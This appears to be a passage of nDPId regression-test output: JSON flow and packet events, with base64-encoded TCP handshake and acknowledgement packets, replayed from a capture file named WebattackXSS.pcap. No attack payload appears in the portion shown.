+00430{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347012,"pkt_ts_usec":618596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mKVAAD4GLTOsEAABwKgKMs3YAFAU4YtqLTZmg4AQAOX+kQAAAQEICgE5E80D4uVE"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":439,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1499347015165,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52722,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347015,"pkt_ts_usec":165463,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wXxAAD4GBFSsEAABwKgKMs3yAFDEv9c2AAAAAKACchDdRwAAAgQFtAQCCAoBORZKAAAAAAEDAwc="} +00443{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347015,"pkt_ts_usec":165621,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzfKguKOtxL\/XN6AScSCuHQAAAgQFtAQCCAoD4ufAATkWSgEDAwc="} +00430{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347015,"pkt_ts_usec":166225,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wX1AAD4GBFusEAABwKgKMs3yAFDEv9c3oLijroAQAOVNJQAAAQEICgE5FkoD4ufA"} +00430{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347015,"pkt_ts_usec":612702,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aV5AAD4GXHqsEAABwKgKMs28AFAhFXgPMPzhx4ARAOWGWAAAAQEICgE5FrkD4uLJ"} +00431{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347015,"pkt_ts_usec":612917,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CfdAAEAGueHAqAoyrBAAAQBQzbww\/OHHIRV4EIARAOOA8gAAAQEICgPi6DABORa5"} +00430{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347015,"pkt_ts_usec":613673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aV9AAD4GXHmsEAABwKgKMs28AFAhFXgQMPzhyIAQAOWA7wAAAQEICgE5FroD4ugw"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":451,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1499347016455,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52736,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347016,"pkt_ts_usec":455176,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8hwdAAD4GPsmsEAABwKgKMs4AAFB8BZCLAAAAAKACchBrXQAAAgQFtAQCCAoBOReMAAAAAAEDAwc="} +00442{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347016,"pkt_ts_usec":455268,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzgBumELLfAWQjKAScSDN8gAAAgQFtAQCCAoD4ukDATkXjAEDAwc="} +00430{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347016,"pkt_ts_usec":455874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hwhAAD4GPtCsEAABwKgKMs4AAFB8BZCMbphCzIAQAOVs+gAAAQEICgE5F4wD4ukD"} +00430{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347016,"pkt_ts_usec":612873,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Rz5AAD4GfpqsEAABwKgKMs3KAFCfKlWtmuoUuYARAOWLfwAAAQEICgE5F7MD4uQH"} +00431{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347016,"pkt_ts_usec":613152,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0\/ZNAAEAGxkTAqAoyrBAAAQBQzcqa6hS5nypVroARAOOGXQAAAQEICgPi6SoBORez"} +00430{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347016,"pkt_ts_usec":613864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Rz9AAD4GfpmsEAABwKgKMs3KAFCfKlWumuoUuoAQAOWGWgAAAQEICgE5F7QD4ukq"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1499347017745,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52750,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347017,"pkt_ts_usec":745608,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8p+RAAD4GHeysEAABwKgKMs4OAFCFw78rAAAAAKACchAxrgAAAgQFtAQCCAoBORjPAAAAAAEDAwc="} +00443{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347017,"pkt_ts_usec":745737,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzg5V15svhcO\/LKAScSBTXgAAAgQFtAQCCAoD4upFATkYzwEDAwc="} +00430{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347017,"pkt_ts_usec":746487,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p+VAAD4GHfOsEAABwKgKMs4OAFCFw78sVdebMIAQAOXyZQAAAQEICgE5GM8D4upF"} +00430{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347018,"pkt_ts_usec":613061,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mKZAAD4GLTKsEAABwKgKMs3YAFAU4YtqLTZmg4ARAOX4tQAAAQEICgE5GagD4uVE"} +00430{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347018,"pkt_ts_usec":613278,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0jZ1AAEAGNjvAqAoyrBAAAQBQzdgtNmaDFOGLa4ARAOPy3AAAAQEICgPi6x4BORmo"} +00430{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347018,"pkt_ts_usec":613813,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mKdAAD4GLTGsEAABwKgKMs3YAFAU4YtrLTZmhIAQAOXy2gAAAQEICgE5GagD4use"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":481,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1499347020329,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52776,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347020,"pkt_ts_usec":329829,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8BsFAAD4Gvw+sEAABwKgKMs4oAFCq7R2UAAAAAKACchCrewAAAgQFtAQCCAoBORtVAAAAAAEDAwc="} +00442{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347020,"pkt_ts_usec":329958,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzijgzD+Kqu0dlaAScSCbVAAAAgQFtAQCCAoD4uzMATkbVQEDAwc="} +00431{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347020,"pkt_ts_usec":330717,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BsJAAD4GvxasEAABwKgKMs4oAFCq7R2V4Mw\/i4AQAOU6XAAAAQEICgE5G1UD4uzM"} +00430{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347020,"pkt_ts_usec":613286,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wX5AAD4GBFqsEAABwKgKMs3yAFDEv9c3oLijroARAOVH0gAAAQEICgE5G5wD4ufA"} +00431{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347020,"pkt_ts_usec":613531,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TrxAAEAGdRzAqAoyrBAAAQBQzfKguKOuxL\/XOIARAONCgQAAAQEICgPi7RIBORuc"} +00430{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347020,"pkt_ts_usec":614237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wX9AAD4GBFmsEAABwKgKMs3yAFDEv9c4oLijr4AQAOVCfwAAAQEICgE5G5wD4u0S"} +00430{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347021,"pkt_ts_usec":613496,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hwlAAD4GPs+sEAABwKgKMs4AAFB8BZCMbphCzIARAOVn7wAAAQEICgE5HJYD4ukD"} +00430{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347021,"pkt_ts_usec":613682,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rMBAAEAGFxjAqAoyrBAAAQBQzgBumELMfAWQjYARAONi5wAAAQEICgPi7gwBORyW"} +00430{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347021,"pkt_ts_usec":614454,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hwpAAD4GPs6sEAABwKgKMs4AAFB8BZCNbphCzYAQAOVi5QAAAQEICgE5HJYD4u4M"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":496,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1499347021621,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52790,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347021,"pkt_ts_usec":621411,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA899BAAD4Gzf+sEAABwKgKMs42AFBUD+tIAAAAAKACchAzVAAAAgQFtAQCCAoBORyYAAAAAAEDAwc="} +00443{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347021,"pkt_ts_usec":621477,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzjY7BBUuVA\/rSaAScSDyDwAAAgQFtAQCCAoD4u4OATkcmAEDAwc="} +00430{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347021,"pkt_ts_usec":622230,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA099FAAD4GzgasEAABwKgKMs42AFBUD+tJOwQVL4AQAOWRFwAAAQEICgE5HJgD4u4O"} +00430{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347023,"pkt_ts_usec":615226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p+ZAAD4GHfKsEAABwKgKMs4OAFCFw78sVdebMIARAOXsqQAAAQEICgE5HooD4upF"} +00431{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347023,"pkt_ts_usec":615466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0azFAAEAGWKfAqAoyrBAAAQBQzg5V15swhcO\/LYARAOPm7gAAAQEICgPi8AEBOR6K"} +00430{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347023,"pkt_ts_usec":616194,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p+dAAD4GHfGsEAABwKgKMs4OAFCFw78tVdebMYAQAOXm7AAAAQEICgE5HooD4vAB"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":514,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1499347024196,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52816,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347024,"pkt_ts_usec":196279,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8zI9AAD4G+UCsEAABwKgKMs5QAFAU3NOUAAAAAKACchCHngAAAgQFtAQCCAoBOR8bAAAAAAEDAwc="} +00443{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347024,"pkt_ts_usec":196432,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzlADb\/iqFNzTlaAScSCX7gAAAgQFtAQCCAoD4vCSATkfGwEDAwc="} +00431{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347024,"pkt_ts_usec":197167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zJBAAD4G+UesEAABwKgKMs5QAFAU3NOVA2\/4q4AQAOU29QAAAQEICgE5HxwD4vCS"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":523,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1499347025509,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52830,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347025,"pkt_ts_usec":509874,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MX5AAD4GlFKsEAABwKgKMs5eAFDxhxEaAAAAAKACchBsFgAAAgQFtAQCCAoBOSBkAAAAAAEDAwc="} +00442{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347025,"pkt_ts_usec":510003,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzl7gFzLu8YcRG6AScSBkMQAAAgQFtAQCCAoD4vHbATkgZAEDAwc="} +00430{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347025,"pkt_ts_usec":510774,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MX9AAD4GlFmsEAABwKgKMs5eAFDxhxEb4Bcy74AQAOUDOQAAAQEICgE5IGQD4vHb"} +00431{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347025,"pkt_ts_usec":615216,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BsNAAD4GvxWsEAABwKgKMs4oAFCq7R2V4Mw\/i4ARAOU1MgAAAQEICgE5IH4D4uzM"} +00430{"flow_id":34,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347025,"pkt_ts_usec":615446,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zn5AAEAG9VnAqAoyrBAAAQBQzijgzD+Lqu0dloARAOMwCgAAAQEICgPi8fUBOSB+"} +00431{"flow_id":34,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":531,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347025,"pkt_ts_usec":616173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BsRAAD4GvxSsEAABwKgKMs4oAFCq7R2W4Mw\/jIAQAOUwCAAAAQEICgE5IH4D4vH1"} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":33,"flow_first_seen":1499346956870,"flow_last_seen":1499346960891,"flow_tot_l4_data_len":17697,"flow_min_l4_data_len":32,"flow_max_l4_data_len":7958,"flow_avg_l4_data_len":536,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52200,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1499346956932,"flow_last_seen":1499346960891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52202,"dst_port":80,"l4_proto":"tcp","ndpi": 